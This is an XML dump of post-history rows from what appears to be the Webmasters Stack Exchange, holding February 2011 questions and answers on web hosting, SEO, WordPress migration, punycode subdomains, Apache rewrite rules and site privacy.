  <row Id="20764" PostHistoryTypeId="2" PostId="9419" RevisionGUID="806347d8-21c8-4149-90fd-fae0fa92f388" CreationDate="2011-02-20T16:08:36.667" UserId="2996" Text="The big different that I noticed with fan page. Is that when you add a link or an image it will save in a section links or gallery in fan pages but in a group the link and image will appear in main page but will not have a section for the future.&#xD;&#xA;&#xD;&#xA;The best of groups is that all members can receive new posts in their emails. And the chat with everyone. And the groups can be privates.&#xD;&#xA;&#xD;&#xA;I think that the groups are great for groupworks. And the fan page is better for marketing. All people with a facebook account will see all your updates and if they like it will see the news in home page. And the events are really usefull, because they can share them with their friends. " />
  <row Id="20765" PostHistoryTypeId="5" PostId="9406" RevisionGUID="d42cdbcb-2aa9-49ca-8583-26b07e826a5f" CreationDate="2011-02-20T16:18:12.997" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Subdomain versus subdirectory](http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am creating a site with quite a few services, such as a free account service, and of course a subdomain for my site's blog and then for article base and other related services, would having them all on subdomains be a good idea? Are there any caveats you are aware of in existing search engines for this?&#xD;&#xA;&#xD;&#xA;I believe mapping foo.example.com to example.com/foo to provide an alternative just in case is a good idea for sitemaps, I like to keep things clean." />
  <row Id="20766" PostHistoryTypeId="10" PostId="9406" RevisionGUID="7dd4a6ee-d36d-4d87-8a85-a2161c78d76e" CreationDate="2011-02-20T16:18:12.840" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20767" PostHistoryTypeId="5" PostId="6900" RevisionGUID="b5281b39-2fad-4980-82dd-b8fc59a020f5" CreationDate="2011-02-20T16:53:48.123" UserId="1780" Comment="added 110 characters in body" Text="One main thing is going to be disable or limit access logging. You would have to configure your Web server not to log any user's IP addresses.&#xD;&#xA;&#xD;&#xA;Also ensure access is not logged elsewhere in the system or the data center, no external applicances like reverse proxies are active, and so on.&#xD;&#xA;&#xD;&#xA;Also as @JonahBron [points out][1], don't use sessions. Best don't serve any cookies at all.&#xD;&#xA;&#xD;&#xA;Encourage your users to use additional anonymization services on client side, like [TOR][2]. &#xD;&#xA;&#xD;&#xA;Related interesting reading: [Wikileaks' Hosting][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/6898/how-to-keep-a-visitor-100-anonymous/6899#6899&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Tor_(anonymity_network)&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/WikiLeaks#Hosting" />
  <row Id="20769" PostHistoryTypeId="2" PostId="9420" RevisionGUID="c6474a9c-fae1-4f8b-9562-be126b0567c2" CreationDate="2011-02-20T17:26:48.797" UserId="5535" Text="I've setup two subdomains, each using punycode:&#xD;&#xA;&#xD;&#xA;http://xn--xxa.hawx.me/ -&gt; http://μ.hawx.me/  &#xD;&#xA;http://xn--l6h.hawx.me/ -&gt; http://♪.hawx.me/&#xD;&#xA;&#xD;&#xA;If you visit the unicode versions, ♪.hawx.me will stay the same in the browser bar but μ.hawx.me will redirect to the punycode version. Why does this happen and is it possible to force it to stay as the μ version when visited?" />
  <row Id="20770" PostHistoryTypeId="1" PostId="9420" RevisionGUID="c6474a9c-fae1-4f8b-9562-be126b0567c2" CreationDate="2011-02-20T17:26:48.797" UserId="5535" Text="Some Punycode URLs redirect to Unicode but others don't, why?" />
  <row Id="20771" PostHistoryTypeId="3" PostId="9420" RevisionGUID="c6474a9c-fae1-4f8b-9562-be126b0567c2" CreationDate="2011-02-20T17:26:48.797" UserId="5535" Text="&lt;subdomain&gt;&lt;unicode&gt;&lt;punycode&gt;" />
  <row Id="20772" PostHistoryTypeId="2" PostId="9421" RevisionGUID="26025acc-1295-4375-8fb1-6a37401e69cc" CreationDate="2011-02-20T17:27:34.973" UserDisplayName="user4934" Text="Is there CMS for university or college.for these services(Register Collegian,Course Unit Selection,Exam Results,...).With PHP support!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Tnx.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20773" PostHistoryTypeId="1" PostId="9421" RevisionGUID="26025acc-1295-4375-8fb1-6a37401e69cc" CreationDate="2011-02-20T17:27:34.973" UserDisplayName="user4934" Text="Best CMS for university/college?" />
  <row Id="20774" PostHistoryTypeId="3" PostId="9421" RevisionGUID="26025acc-1295-4375-8fb1-6a37401e69cc" CreationDate="2011-02-20T17:27:34.973" UserDisplayName="user4934" Text="&lt;php&gt;&lt;cms&gt;" />
  <row Id="20775" PostHistoryTypeId="2" PostId="9422" RevisionGUID="3b4d2810-e2db-4f0a-8bc5-ed7497fbb991" CreationDate="2011-02-20T17:44:51.190" UserDisplayName="user5536" Text="i am running a small project that occasionally requires me to run a php socket script through ssh. it uses a few bytes of bandwidth (just some text) which activates my art installation project. &#xD;&#xA;&#xD;&#xA;i tried a simple web hosting plan but that didn't support sockets, so know i am using a 32$ vps plan on namecheap.com just to run a simple php script. i don't really need to host anything else on it. i find it kind of excessive for such a simple thing. is there a place i can run my script for a lower cost? any servers that support php sockets and ssh?" />
  <row Id="20776" PostHistoryTypeId="1" PostId="9422" RevisionGUID="3b4d2810-e2db-4f0a-8bc5-ed7497fbb991" CreationDate="2011-02-20T17:44:51.190" UserDisplayName="user5536" Text="place to host a simple php socket server" />
  <row Id="20777" PostHistoryTypeId="3" PostId="9422" RevisionGUID="3b4d2810-e2db-4f0a-8bc5-ed7497fbb991" CreationDate="2011-02-20T17:44:51.190" UserDisplayName="user5536" Text="&lt;php&gt;&lt;vps&gt;" />
  <row Id="20779" PostHistoryTypeId="5" PostId="6898" RevisionGUID="352cd2df-e79b-43e9-a614-dcc089e82bbb" CreationDate="2011-02-20T18:05:50.907" UserId="1780" Comment="Added privacy tag, fixed speling" Text="Maybe a broad question, but how can you keep a visitor to your site 100% anonymous on your server. The site is written in PHP.&#xD;&#xA;&#xD;&#xA;No trace of what he or she has visited on your site. Any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20780" PostHistoryTypeId="6" PostId="6898" RevisionGUID="352cd2df-e79b-43e9-a614-dcc089e82bbb" CreationDate="2011-02-20T18:05:50.907" UserId="1780" Comment="Added privacy tag, fixed speling" Text="phpprivacy" />
  <row Id="20781" PostHistoryTypeId="24" PostId="6898" RevisionGUID="91a97524-8b44-45c7-a823-6a199a06a9f1" CreationDate="2011-02-20T18:05:50.907" Comment="Proposed by 1780 approved by 108 edit id of 27" />
  <row Id="20782" PostHistoryTypeId="2" PostId="9424" RevisionGUID="2ba180fc-029a-40ab-ad49-1f95bb492665" CreationDate="2011-02-20T18:59:32.940" UserDisplayName="user5541" Text="not bluehost they kill long running processes, though I guess you could just have a cron job that restarts it every minute..." />
  <row Id="20783" PostHistoryTypeId="2" PostId="9425" RevisionGUID="8af01faa-ff14-43a9-a6a5-7304344c8750" CreationDate="2011-02-20T19:16:38.057" UserId="1757" Text="As mootinator said, any host which allows you to run cron jobs should allow it as long as your process isn't against their TOS. With a VPS or dedicated server you can pretty much run whatever you want, but even most decent shared hosts will allow you to run background processes as long as they're not too resource intensive.&#xD;&#xA;&#xD;&#xA;For example, DreamHost allows you to run persistent background processes on their shared hosting so long as they aren't disruptive and don't involve IRC, bittorrent, or streaming media. Otherwise, you need to switch to a VPS plan." />
  <row Id="20784" PostHistoryTypeId="2" PostId="9426" RevisionGUID="51b12fc8-f670-44ec-b311-e84feafa6297" CreationDate="2011-02-20T18:59:40.850" UserDisplayName="Luke" Text="I am using a liquid layout on my website, but when I view in in my browser I find that when I change the browser window size, the images are stretched out of proportion. Can anybody help?" />
  <row Id="20785" PostHistoryTypeId="1" PostId="9426" RevisionGUID="51b12fc8-f670-44ec-b311-e84feafa6297" CreationDate="2011-02-20T18:59:40.850" UserDisplayName="Luke" Text="Liquid Layout out of Proportion" />
  <row Id="20786" PostHistoryTypeId="3" PostId="9426" RevisionGUID="51b12fc8-f670-44ec-b311-e84feafa6297" CreationDate="2011-02-20T18:59:40.850" UserDisplayName="Luke" Text="&lt;windows&gt;&lt;browsers&gt;" />
  <row Id="20787" PostHistoryTypeId="17" PostId="9426" RevisionGUID="0f7083ee-703c-41bc-a9ae-93e091e45af7" CreationDate="2011-02-20T19:34:09.187" UserId="-1" Comment="from http://superuser.com/questions/248171/liquid-layout-out-of-proportion" Text="" />
  <row Id="20788" PostHistoryTypeId="2" PostId="9427" RevisionGUID="f31bf2f8-92c8-4a9f-981e-c81d211286b5" CreationDate="2011-02-20T20:02:33.667" UserDisplayName="user5542" Text="I would like to host my HTML/CSS website (actually, just one page, but it may grow). Since I don't need PHP, MySQL or such things, I don't want to spend much. Is there anything out there? Thank you." />
  <row Id="20789" PostHistoryTypeId="1" PostId="9427" RevisionGUID="f31bf2f8-92c8-4a9f-981e-c81d211286b5" CreationDate="2011-02-20T20:02:33.667" UserDisplayName="user5542" Text="HTML/CSS website hosting" />
  <row Id="20790" PostHistoryTypeId="3" PostId="9427" RevisionGUID="f31bf2f8-92c8-4a9f-981e-c81d211286b5" CreationDate="2011-02-20T20:02:33.667" UserDisplayName="user5542" Text="&lt;html&gt;&lt;css&gt;&lt;web-hosting&gt;" />
  <row Id="20791" PostHistoryTypeId="2" PostId="9428" RevisionGUID="137ee5fa-818b-4833-ab55-9bee77e24f9e" CreationDate="2011-02-20T20:08:07.010" UserId="1253" Text="If you're only using HTML/CSS with no server side languages or database used then any webhost will do. Literally any one as all webhosts can serve up static pages. So do some research to see which has good reviews and a good price and you'll be all set." />
  <row Id="20792" PostHistoryTypeId="25" PostId="9427" RevisionGUID="350c4c07-5da5-4b1f-a157-4215bdf3a8d2" CreationDate="2011-02-20T20:22:44.650" Comment="http://twitter.com/#!/StackWebmasters/status/39419704292548608" />
  <row Id="20793" PostHistoryTypeId="2" PostId="9429" RevisionGUID="22bba116-809e-451e-8efc-eb62d0f1d675" CreationDate="2011-02-20T20:39:10.013" UserDisplayName="AntonAL" Text="For usability purposes, entire article thumbnail is wrapped to a link.&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/some_article&quot;&gt;&#xD;&#xA;       &lt;h2&gt;Article title&lt;/h2&gt;&#xD;&#xA;       &lt;div class=&quot;summary&quot;&gt;Lorem ipsum dolor sit amet&lt;/div&gt;&#xD;&#xA;    &lt;/a&gt;&#xD;&#xA;&#xD;&#xA;User needs to click on any place of a thumb and it will be redirected to article.&#xD;&#xA;&#xD;&#xA;Does this approach have some negative effect to SEO ?&#xD;&#xA;&#xD;&#xA;Another question:&#xD;&#xA;&#xD;&#xA;What is more valueable for Search Engine ?&#xD;&#xA;&#xD;&#xA;Just a link to article in articles list&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/article1&quot;&gt;Article 1&lt;/a&gt;&#xD;&#xA;    &lt;a href=&quot;/article2&quot;&gt;Article 2&lt;/a&gt;&#xD;&#xA;    &lt;a href=&quot;/article3&quot;&gt;Article 3&lt;/a&gt;    &#xD;&#xA;&#xD;&#xA;Or h2, wrapped to link:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/article1&quot;&gt;&lt;h2&gt;Article 1&lt;/h2&gt;&lt;/a&gt;&#xD;&#xA;    &lt;a href=&quot;/article2&quot;&gt;&lt;h2&gt;Article 2&lt;/h2&gt;&lt;/a&gt;&#xD;&#xA;    &lt;a href=&quot;/article3&quot;&gt;&lt;h2&gt;Article 3&lt;/h2&gt;&lt;/a&gt;    " />
  <row Id="20794" PostHistoryTypeId="1" PostId="9429" RevisionGUID="22bba116-809e-451e-8efc-eb62d0f1d675" CreationDate="2011-02-20T20:39:10.013" UserDisplayName="AntonAL" Text="SEO and links content" />
  <row Id="20795" PostHistoryTypeId="3" PostId="9429" RevisionGUID="22bba116-809e-451e-8efc-eb62d0f1d675" CreationDate="2011-02-20T20:39:10.013" UserDisplayName="AntonAL" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="20796" PostHistoryTypeId="17" PostId="9429" RevisionGUID="5d51faa8-815a-480d-922e-bba33082d947" CreationDate="2011-02-20T20:45:15.330" UserId="-1" Comment="from http://stackoverflow.com/questions/5059853/seo-and-links-content" Text="" />
  <row Id="20797" PostHistoryTypeId="2" PostId="9430" RevisionGUID="0450aadf-c15f-462c-a3fb-40f29aadaf43" CreationDate="2011-02-20T20:46:16.990" UserId="138" Text="It all depends on whether or not the TLD supports unicode. TLDs that do will be converted, TLDs that don't, won't.&#xD;&#xA;&#xD;&#xA;In my browser (FireFox 3.6) neither of them stay in unicode, they both get converted to punycode, which I would suspect is the correct behaviour for `.me`" />
  <row Id="20798" PostHistoryTypeId="2" PostId="9431" RevisionGUID="80622072-96ca-469f-80c9-4765a8b7ecde" CreationDate="2011-02-20T21:09:07.463" UserId="1253" Text="&gt; Does this approach have some negative&#xD;&#xA;&gt; effect to SEO ?&#xD;&#xA;&#xD;&#xA;I'd say it is neither positive nor negative. There's so much content in the hyperlink that whatever keywords are present are going to be too diluted to have any value. But doing this isn't bad for any reason, either.&#xD;&#xA;&#xD;&#xA;&gt; Just a link to article in articles&#xD;&#xA;&gt; list&#xD;&#xA;&gt; &#xD;&#xA;&gt; Or h2, wrapped to link:&#xD;&#xA;&#xD;&#xA;Unless they're headings there's no reason to wrap them in H2 tags. Don't use markup for what it isn't for. Do things the right way, not because you think it will make search engines happy. Not coincidentally the right way is usually what makes the search engines happy." />
  <row Id="20799" PostHistoryTypeId="2" PostId="9432" RevisionGUID="484ac4a3-a642-45f8-9bd8-bc7e8c5468a7" CreationDate="2011-02-20T21:11:06.743" UserId="4021" Text="Google has never shared how they view ordering of tags and if that influences their ranking.  My professional opinion is that it would not.  However, Matt Cutts has said, &quot;if you can design and write your HTML code so that it’s well-formed and validates, it’s always a good habit to do so.&quot;  So that should be your first priority.&#xD;&#xA;&#xD;&#xA;Now there's a separate issue that you didn't ask about, but is related, which is whether &quot;big links&quot; count more than small links.  There is a Google patent around this commonly referred to as the &quot;reasonable surfer,&quot; and in essence, it suggests that the traditional PageRank distribution formula may be weighted by the visibility of a link, which could be anything from font size and color to placement horizontally or vertically.  So in theory, all else equal, a link styled with H2 would get more link juice (assuming no CSS styles override native H2 meaning)." />
  <row Id="20800" PostHistoryTypeId="2" PostId="9433" RevisionGUID="0ec84301-c839-43f5-9269-018404093dd1" CreationDate="2011-02-20T21:47:50.410" UserDisplayName="user5544" Text="try: http://ipg.berapla.net/ a simple &amp; small image gallery" />
  <row Id="20801" PostHistoryTypeId="17" PostId="9435" RevisionGUID="eb1cf2ff-5d05-425d-8e63-1fb41ce6729e" CreationDate="2011-02-20T22:06:21.363" UserId="-1" Comment="from http://stackoverflow.com/questions/5059905/moving-from-wordpress-website/5059946#5059946" Text="" />
  <row Id="20802" PostHistoryTypeId="17" PostId="9436" RevisionGUID="b8a122bb-f96b-4d07-b20e-3b9632e94b8f" CreationDate="2011-02-20T22:06:21.363" UserId="-1" Comment="from http://stackoverflow.com/questions/5059905/moving-from-wordpress-website/5060065#5060065" Text="" />
  <row Id="20803" PostHistoryTypeId="2" PostId="9435" RevisionGUID="4000361d-341e-44ac-b71e-7597a2b50020" CreationDate="2011-02-20T20:56:59.307" UserDisplayName="Jason" Text="If you're moving to another host with Wordpress already setup, you can [export your blog](http://en.support.wordpress.com/export/) from Wordpress.com and use the Import functionality under Tools-&gt;Import on the other end." />
  <row Id="20804" PostHistoryTypeId="2" PostId="9436" RevisionGUID="4fb2264f-8641-4210-865e-e01ab5294c13" CreationDate="2011-02-20T21:13:13.810" UserDisplayName="thyx" Text="Yes if you mean a redirect from mywebsite.com to mywebsite.wordpress.com.&#xD;&#xA;No, not an easy one-step procedure if you want to switch to self-hosted wordpress. &#xD;&#xA;Exporting and importing the data is the easy part, if you use any plugins or themes. But it works fine in principle. " />
  <row Id="20805" PostHistoryTypeId="2" PostId="9434" RevisionGUID="9ee034ca-f0f9-496b-8026-9c010b04aeb5" CreationDate="2011-02-20T20:51:25.190" UserDisplayName="lital maatuk" Text="Is there an easy way to move a blog from wordpress website i.e. at&#xD;&#xA;&#xD;&#xA;    http://myblog.wordpress.com/&#xD;&#xA;&#xD;&#xA;to my independent domain i.e&#xD;&#xA;&#xD;&#xA;    www.mywebsite.com" />
  <row Id="20806" PostHistoryTypeId="1" PostId="9434" RevisionGUID="9ee034ca-f0f9-496b-8026-9c010b04aeb5" CreationDate="2011-02-20T20:51:25.190" UserDisplayName="lital maatuk" Text="Moving from wordpress website" />
  <row Id="20807" PostHistoryTypeId="3" PostId="9434" RevisionGUID="9ee034ca-f0f9-496b-8026-9c010b04aeb5" CreationDate="2011-02-20T20:51:25.190" UserDisplayName="lital maatuk" Text="&lt;web-development&gt;&lt;wordpress&gt;" />
  <row Id="20808" PostHistoryTypeId="17" PostId="9434" RevisionGUID="51b10ce5-d2cf-4486-b11d-094e8b28aa74" CreationDate="2011-02-20T22:06:21.363" UserId="-1" Comment="from http://stackoverflow.com/questions/5059905/moving-from-wordpress-website" Text="" />
  <row Id="20809" PostHistoryTypeId="2" PostId="9437" RevisionGUID="a94b385a-d697-49fd-b031-5db26ff439ea" CreationDate="2011-02-17T23:50:15.407" UserDisplayName="BHare" Text="I have setup some rules in which subdomains (my users) will default to where I have located the robots.txt, favicon.ico, and crossdomain.xml&#xD;&#xA;&#xD;&#xA;therefore if a user creates a site say&#xD;&#xA;&#xD;&#xA;`testing.mywebsite.com` and they don't make their own favicon.ico at `testing.mywebsite.com/favicon.ico`, then it will use the favicon.ico I have in `/misc/favicon.ico`&#xD;&#xA;&#xD;&#xA;This works perfect, but it doesn't work for the main website.  If you attempt to go to&#xD;&#xA;`mywebsite.com/favicon.ico` it will check if &quot;/&quot; exists, in which it does. And then never redirects to `/misc/favicon.ico`&#xD;&#xA;&#xD;&#xA;How can I get it so both instances redirect to `/misc/favicon.ico` ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		# Set all crossdomain (openpalace file) favorite icons and robots.txt doesnt exist on their&#xD;&#xA;		# side, then redirect to site's just to have something to go on.&#xD;&#xA;    RewriteCond	    %{REQUEST_URI}  		crossdomain.xml$&#xD;&#xA;    RewriteCond     ^(.+)crossdomain.xml    !-f&#xD;&#xA;    RewriteRule     ^(.*)$                  /misc/crossdomain.xml [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond	    %{REQUEST_URI}  		favicon.ico$&#xD;&#xA;    RewriteCond     ^(.+)favicon.ico        !-f &#xD;&#xA;    RewriteRule     ^(.*)$                  /misc/favicon.ico [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond	    %{REQUEST_URI}  		robots.txt$&#xD;&#xA;    RewriteCond     ^(.+)robots.txt         !-f &#xD;&#xA;    RewriteRule     ^(.*)$                  /misc/robots.txt [L]" />
  <row Id="20810" PostHistoryTypeId="1" PostId="9437" RevisionGUID="a94b385a-d697-49fd-b031-5db26ff439ea" CreationDate="2011-02-17T23:50:15.407" UserDisplayName="BHare" Text="Rewrite for robots.txt and favicon.ico" />
  <row Id="20811" PostHistoryTypeId="3" PostId="9437" RevisionGUID="a94b385a-d697-49fd-b031-5db26ff439ea" CreationDate="2011-02-17T23:50:15.407" UserDisplayName="BHare" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="20812" PostHistoryTypeId="17" PostId="9437" RevisionGUID="fa79ab61-9b53-4ef0-97a5-30a14572c746" CreationDate="2011-02-20T22:15:16.433" UserId="-1" Comment="from http://serverfault.com/questions/237013/rewrite-for-robots-txt-and-favicon-ico" Text="" />
  <row Id="20813" PostHistoryTypeId="2" PostId="9438" RevisionGUID="04d68d0c-fabf-46cc-9efd-e52d9716b657" CreationDate="2011-02-20T22:24:56.477" UserId="4780" Text="You can use [Google AppEngine](https://appengine.google.com/), which is free for moderate traffic levels.&#xD;&#xA;" />
  <row Id="20817" PostHistoryTypeId="2" PostId="9440" RevisionGUID="501245b7-23e3-4cf9-a039-fb2e851d93aa" CreationDate="2011-02-20T22:58:46.453" UserId="4502" Text="&lt;a href=&quot;http://www.asmallorange.com/hosting/shared/&quot;&gt;A Small Orange&lt;/a&gt; has a very low-end plan that's probably about as cheap as it's going to get($25/year) without just being free. It's still going to have PHP, etc. but you're just going to have to deal with it. It's not going to be worth any host's time to create a configuration without. It's easier for you to just not use them." />
  <row Id="20818" PostHistoryTypeId="25" PostId="9429" RevisionGUID="081ea9d2-22b6-4d92-b103-def1af53697c" CreationDate="2011-02-20T23:22:45.127" Comment="http://twitter.com/#!/StackWebmasters/status/39465005116170241" />
  <row Id="20819" PostHistoryTypeId="2" PostId="9441" RevisionGUID="538885f0-492a-4f11-9dc6-dd9376a0d5e2" CreationDate="2011-02-20T23:57:00.193" UserId="5034" Text="have a look at http://www.lowendbox.com/ you can find a lot of cheap vps hosting packages there, often with promotion codes to make the package even cheaper.&#xD;&#xA;&#xD;&#xA;you can easily find a vps for ~ 5$ there, which should be able to run your script but is much cheaper than your current package.&#xD;&#xA;&#xD;&#xA;make sure to buy from some host which is sometime in business thou, so you dont find your hoster dead in some month and to avoid scammers." />
  <row Id="20820" PostHistoryTypeId="2" PostId="9442" RevisionGUID="577f6aae-f0ce-4c57-8933-3a08b8f9561d" CreationDate="2011-02-21T00:15:23.300" UserId="3262" Text="You should provide a test link. &#xD;&#xA;&#xD;&#xA;Anyways your images must have a fixed width and height, and should not change their proportions while changing the window's size.&#xD;&#xA;&#xD;&#xA;After an excessive window's downsizing, the whole layout would become a mess. But this is something unavoidable as far as i know." />
  <row Id="20821" PostHistoryTypeId="2" PostId="9443" RevisionGUID="2bbbf5a9-8978-49a2-bcd8-ce8529383a72" CreationDate="2011-02-21T00:24:51.260" UserId="3262" Text="If you are looking for a ready-made script, i would search on some joomla / drupal extensions.&#xD;&#xA;&#xD;&#xA;Maybe http://hotscripts.com is the place to take into account also. But you will get always some sucky scripts out there unless you do it yourself.&#xD;&#xA;&#xD;&#xA;I strongly recommend picking drupal as your solution, and making it yourself. It is a widely used CMS and easy to learn.&#xD;&#xA;&#xD;&#xA;hope it helps." />
  <row Id="20822" PostHistoryTypeId="2" PostId="9444" RevisionGUID="0f551a2a-605a-4bf2-977d-c814594c0265" CreationDate="2011-02-21T01:06:45.980" UserId="1757" Text="What you're describing isn't really a CMS, but rather features of a [Student Information System][1]. These are usually fairly complex enterprise-level applications (the academic equivalent of a CRM + ERP) that have to integrate with the school's intranet systems, government databases (e.g. financial aid databases) and meet stringent regulations regarding privacy/security and accessibility.&#xD;&#xA;&#xD;&#xA;Vendors of SIS platforms will likely help you integrate the system into whatever CMS you're using, or they may come with their own CMS. What's &quot;best&quot; depends on your requirements, budget, and what other systems the school is using for managing student information.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Student_information_system" />
  <row Id="20823" PostHistoryTypeId="2" PostId="9445" RevisionGUID="2b087de6-70ff-4854-8ef0-ab9de4364e95" CreationDate="2011-02-21T01:40:21.947" UserId="5549" Text="If you don't mind keeping the site with wordpress.com, you can just get the domain name added to your account. It costs &lt;$20 a year. http://en.wordpress.com/products/" />
  <row Id="20824" PostHistoryTypeId="2" PostId="9446" RevisionGUID="eb3a7883-d8ca-424f-8b68-7021920b3eb1" CreationDate="2011-02-21T01:46:09.167" UserId="5549" Text="You might want to try out &lt;a href=&quot;http://moddle.org/&quot;&gt;Moodle&lt;/a&gt;. It allows one to create courses, and teachers can administrate individual classes under each course." />
  <row Id="20825" PostHistoryTypeId="5" PostId="9432" RevisionGUID="1a4ac371-75a5-4b0b-91cf-03cd88a4edfe" CreationDate="2011-02-21T01:48:20.673" UserId="4021" Comment="deleted 95 characters in body; added 62 characters in body" Text="Negative SEO effect?&#xD;&#xA;&#xD;&#xA;Nobody knows, but this is what Matt Cutts has said: &quot;if you can design and write your HTML code so that it’s well-formed and validates, it’s always a good habit to do so.&quot;  So that should be your first priority.&#xD;&#xA;&#xD;&#xA;**Remember, more prominent links may get more link juice**&#xD;&#xA;&#xD;&#xA;Now there's a separate issue that you didn't ask about, but is related, which is whether &quot;big links&quot; count more than small links.  There is a Google patent around this commonly referred to as the &quot;reasonable surfer,&quot; and in essence, it suggests that the traditional PageRank distribution formula may be weighted by the visibility of a link, which could be anything from font size and color to placement horizontally or vertically.  So in theory, all else equal, a link styled with H2 would get more link juice (assuming no CSS styles override native H2 meaning)." />
  <row Id="20826" PostHistoryTypeId="2" PostId="9447" RevisionGUID="6d6b2481-6f5c-4c68-9f64-5db20434d34d" CreationDate="2011-02-21T01:55:58.943" UserId="5549" Text="If you're more comfortable with Drupal/WordPress, you can look to something like Microsoft's &lt;a href=&quot;http://www.microsoft.com/web/downloads/platform.aspx&quot;&gt;Web Platform Installer&lt;/a&gt;. It allows you to install PHP and necessary other functions to run things like Drupal or WordPress on an IIS 7 / MSSQL Server.&#xD;&#xA;&#xD;&#xA;If you don't want to do something like that, Sitefinity and Kentico and decent commercial applications. The top dog from .NET open-source CMS software is DotNetNuke." />
  <row Id="20827" PostHistoryTypeId="6" PostId="8046" RevisionGUID="03b3c305-8782-4f63-b0dc-0814c2d9bb55" CreationDate="2011-02-21T01:56:32.907" UserId="1757" Comment="retag" Text="&lt;spam&gt;&lt;spam-prevention&gt;&lt;moderation&gt;&lt;c&gt;&lt;user-generated-content&gt;" />
  <row Id="20828" PostHistoryTypeId="2" PostId="9448" RevisionGUID="08f5cfcb-e6d3-4f01-8eb2-f72082f40397" CreationDate="2011-02-21T02:06:47.873" UserId="1757" Text="Usually moderation tools are built into the application/CMS you're using. If you're talking about automated spam-detection tools, then [Akismet][1] has a pretty good reputation for blocking spam on blog comments (you can use their API for any type of content though). And then there're also CAPTCHAs and bot-traps, which can also be very effective when employed strategically.&#xD;&#xA;&#xD;&#xA;User policies are another good way of preventing spam. For instance, peer moderation works quite well on large sites. StackExchange's policy of requiring a certain amount of reputation before allowing links/comments is also very effective.&#xD;&#xA;&#xD;&#xA;When all else fails, hire some paid moderators to patrol the site and delete spam posts and ban spammers.&#xD;&#xA;&#xD;&#xA;  [1]: http://akismet.com/" />
  <row Id="20829" PostHistoryTypeId="2" PostId="9449" RevisionGUID="289000d0-a8ee-4954-8218-1fe1938a7e5a" CreationDate="2011-02-21T02:17:15.923" UserId="5517" Text="You could get fancy with javascript and provide multiple images for steps of sizes or downsize intelligently with bicubic sampling and such. You cannot simply resize raster images without epic loss of quality." />
  <row Id="20830" PostHistoryTypeId="2" PostId="9450" RevisionGUID="ee87db54-b3d2-45ba-addc-5ab6914cb10e" CreationDate="2011-02-21T02:21:22.973" UserId="5517" Text="You can try https://www.nearlyfreespeech.net/ which is 'pay for what you use' and is incredibly affordable for tiny sites." />
  <row Id="20834" PostHistoryTypeId="2" PostId="9451" RevisionGUID="f02c6fe0-1abc-4d10-8754-54f035839041" CreationDate="2011-02-21T02:33:48.083" UserId="5517" Text="View - but do not copy directly - the CSS/HTML/etc from your favourite trendy web 2.0 websites. When learning, it's best to look at documentation and class references to program instead of copypasta'ing. Good luck :)" />
  <row Id="20835" PostHistoryTypeId="5" PostId="8326" RevisionGUID="8bb3e286-5e8f-4d30-9974-5972f5547baf" CreationDate="2011-02-21T03:18:12.697" UserId="4803" Comment="Grammar, spelling, etc." Text="1. http://webmasters.stackexchange.com/questions/7932/what-is-the-standard-width-for-a-website-in-pixels/8153#8153&#xD;&#xA;&#xD;&#xA;2. My experience with slicing a template in Photoshop has always been tedious and slow. What version of Photoshop are you using?&#xD;&#xA;&#xD;&#xA;Generally, I choose to not use slices and simply use the marquee tool (Rectangle, etc.) and copy/paste to a new image and save that. Then use HTML/CSS to align it correctly.&#xD;&#xA;&#xD;&#xA;3. Say you have a content box that you display news and updates in and want the image on the header look like it's leading down into the content area. Make the full image of the header area with the content area, then slice it so it will fit as the background image of the header. Take the other part and make that the background image of the content area. There are a few tricks to get it to align correctly though, such as CSS.&#xD;&#xA;&#xD;&#xA;It's not necessarily a secret method, it's more of people getting creative with simple tools that are used in every website. If you need more of an example, I can give you one.&#xD;&#xA;&#xD;&#xA;4. That all depends on the content of your website. If you want a really up-to-date website that includes lots of changing content, you want to go with dynamic (what I think you meant by liquid) in which case you will want to use PHP or some CMS, or if you're just giving some content that won't change that much, you can go with static (Fixed).&#xD;&#xA;&#xD;&#xA;Now, others on here may have better ideas, but the methods above is what I have seen work." />
  <row Id="20836" PostHistoryTypeId="2" PostId="9452" RevisionGUID="2e1e4d3e-0012-4c8a-aaf1-04aba5586a02" CreationDate="2011-02-21T04:09:09.323" UserId="3748" Text="With GoDaddy &quot;[This service will not work on a Shared Hosting server. You will need to purchase a Dedicated or Virtual Dedicated Server.][1]&quot;  &#xD;&#xA;&#xD;&#xA;They want [$29.99/month][2].&#xD;&#xA;&#xD;&#xA;How can I get chart controls working for more a affordable price, like the usual 4.99/month&#xD;&#xA;&#xD;&#xA;Thank You.&#xD;&#xA;&#xD;&#xA;Is [WebWiz][3] anygood?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.godaddy.com/groups/web-hosting/forum/topic/microsoft-char-controls-work-here/&#xD;&#xA;  [2]: http://www.godaddy.com/hosting/virtual-dedicated-servers.aspx?ci=9013&#xD;&#xA;  [3]: http://www.webwiz.co.uk/web-hosting/windows-web-hosting.htm" />
  <row Id="20837" PostHistoryTypeId="1" PostId="9452" RevisionGUID="2e1e4d3e-0012-4c8a-aaf1-04aba5586a02" CreationDate="2011-02-21T04:09:09.323" UserId="3748" Text="What Windows SHARED web host supports Microsoft Chart Controls?" />
